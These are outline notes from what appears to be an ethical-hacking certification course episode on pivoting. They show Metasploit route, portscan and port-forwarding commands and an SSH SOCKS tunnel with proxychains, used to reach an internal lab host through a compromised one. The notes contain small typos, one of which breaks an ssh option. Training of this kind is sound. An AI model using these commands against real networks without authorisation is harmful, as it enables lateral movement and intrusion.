- Filename: eccouncil-ceh31250-v12-6-13-1-pivoting.md
- Show Name: CEHv12 (312-50)
- Topic Name: System Hacking Phases and Attack Techniques - System Hacking
- Episode Name: Pivoting
  ==

Pivoting

Objectives:

- What is pivoting?
  - Using a compromised system to access other network hosts
    - Eternal attacker now has access to target's internal systems
- What is relaying?
  - Pivoting + using resources on internal system
    - Attacker sets up port forwarding to allow the attack box to access internal system resources like HTTP, SSH, SMB, etc
- Pivot Demo
  - Kali <---> BeeBox <---> Metasploitable2
  - After successful exploit of BeeBox (metasploit/shellshock)

    -
      ```
      ifconfig
      route
      route add 172.16.32.0/24 1
      background
      use auxiliary/scanner/portscan/tcp
      set rhosts 172.16.32.129
      run
      ```
- Relay Demo
  - Exploit BeeBox (metasploit/shellshock)
  - Add route to internal network
  - Scan ports with metasploit auxiliary/scanner/portscan/tcp
  - Use portforwarding to access internal resources
    - Must have session active

    -
      ```
      portfwd add -l 20080 -p 80 -r 172.16.32.129
      portfwd add -l 20022 -p 22 -r 172.16.32.129
      portfwd add -l 20443 -p 443 -r 172.16.32.129
      ```
- ProxyChains
  - Use ssh to forward traffic
    - `ssh -D 127.0.0.1:1080 bee@192.168.202.133`
  - From a new terminal
    - Edit `/etc/proxychains.conf`
      - Add line `socks4 127.0.0.1 1080`
  - Use commands with **ProxyChains**
    - `proxychains nmap -sT -n -Pn -p 21-25 172.16.32.129`
    - `proxychains ssh -o HostKeyAlgorihms=+ssh-rsa msfadmin@172.16.32.129`
- Other tools
  - Plink
  - Chisel
  - SOCAT